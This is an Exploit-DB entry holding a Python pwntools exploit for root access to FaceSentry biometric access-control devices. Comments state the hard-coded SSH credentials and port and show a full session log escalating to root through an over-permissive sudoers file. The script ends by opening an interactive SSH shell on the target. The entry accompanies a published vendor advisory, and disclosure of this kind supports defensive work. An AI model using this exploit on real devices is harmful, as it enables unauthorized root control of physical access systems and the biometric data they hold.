Exploit-DB #47067
Description: FaceSentry Access Control System 6.4.8 - Remote SSH Root
Type: remote
Platform: hardware
Date: 2019-07-01
Author: LiquidWorm

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# FaceSentry Access Control System 6.4.8 Remote SSH Root Access Exploit
#
#
# Vendor: iWT Ltd.
# Product web page: http://www.iwt.com.hk
# Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
#                   Firmware 5.7.2 build 568 (Algorithm A14)
#                   Firmware 5.7.0 build 539 (Algorithm A14)
#
# Summary: FaceSentry 5AN is a revolutionary smart identity
# management appliance that offers entry via biometric face
# identification, contactless smart card, staff ID, or QR-code.
# The QR-code upgrade allows you to share an eKey with guests
# while you're away from your Office and monitor all activity
# via the web administration tool. Powered by standard PoE
# (Power over Ethernet), FaceSEntry 5AN can be installed in
# minutes with only 6 screws. FaceSentry 5AN is a true enterprise
# grade access control or time-and-attendance appliance.
#
# Desc: FaceSentry facial biometric access control appliance
# ships with hard-coded and weak credentials for SSH access
# on port 23445 using the credentials wwwuser:123456. The root
# privilege escalation is done by abusing the insecure sudoers
# entry file.
#
# ================================================================
# lqwrm@metalgear:~$ python ssh_root.py 192.168.11.1
# [+] Connecting to 192.168.11.1 on port 23445: Done
# [*] wwwuser@192.168.11.1:
#     Distro    Ubuntu 16.04
#     OS:       linux
#     Arch:     Unknown
#     Version:  4.10.0
#     ASLR:     Enabled
#     Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
# [+] Opening new channel: 'shell': Done
# [*] Switching to interactive mode
# wwwuser@TWR01:~$ pwd
# /home/wwwuser
# wwwuser@TWR01:~$ sudo -l 
# Matching Defaults entries for wwwuser on localhost:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
#
# User wwwuser may run the following commands on localhost:
#     (root) NOPASSWD: /sbin/service, PROCESSES, NETWORKING, REBOOT, IPTABLES, /faceGuard/bin/*, /faceGuard/database/Restore*, /bin/date, /bin/cat, /bin/echo, /faceGuard/bin/phpbin/*, /bin/sed, /sbin/*, /usr/sbin/*, /bin/*, /usr/bin/*
# wwwuser@TWR01:~$ sudo cat /etc/sudoers.d/sudoers.sentry
# Cmnd_Alias SENTRY = /faceGuard/bin/*
# Cmnd_Alias SENTRY_DB_RESTORE = /faceGuard/database/Restore*
# Cmnd_Alias DATE = /bin/date
# Cmnd_Alias CAT = /bin/cat
# Cmnd_Alias ECHO = /bin/echo
# Cmnd_Alias PRINTING = /usr/sbin/lpc, /usr/bin/lprm
# Cmnd_Alias SENTRYWEB = /faceGuard/bin/phpbin/*
# Cmnd_Alias SED = /bin/sed
# Cmnd_Alias SERVICES = /sbin/service
# Cmnd_Alias SBIN = /sbin/*, /usr/sbin/*
# Cmnd_Alias BIN = /bin/*, /usr/bin/*
#
# wwwuser ALL=NO[CREDENTIAL_REDACTED], PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN
# iwtuser ALL=NO[CREDENTIAL_REDACTED], PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN
# wwwuser@TWR01:~$ id
# uid=1001(wwwuser) gid=1001(wwwuser) groups=1001(wwwuser),27(sudo)
# wwwuser@TWR01:~$ sudo su
# root@TWR01:/home/wwwuser# id
# uid=0(root) gid=0(root) groups=0(root)
# root@TWR01:/home/wwwuser# exit
# exit
# wwwuser@TWR01:~$ exit
# logout
# [*] Got EOF while reading in interactive
# [*] Closed SSH channel with 192.168.11.1
# lqwrm@metalgear:~$
# ================================================================
#
# Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
#            Linux 3.4.113-sun8i (armv7l)
#            PHP/7.0.30-0ubuntu0.16.04.1
#            PHP/7.0.22-0ubuntu0.16.04.1
#            lighttpd/1.4.35
#            Armbian 5.38
#            Sunxi Linux (sun8i generation)
#            Orange Pi PC +
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5526
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5526.php
#
#
# 28.05.2019
#

from pwn import *

if len(sys.argv) < 2:
    print 'Usage: ./fs.py <ip>\n'
    sys.exit()

ip = sys.argv[1]
rshell = ssh('wwwuser', ip, [CREDENTIAL_REDACTED]', port=23445)
rshell.interactive()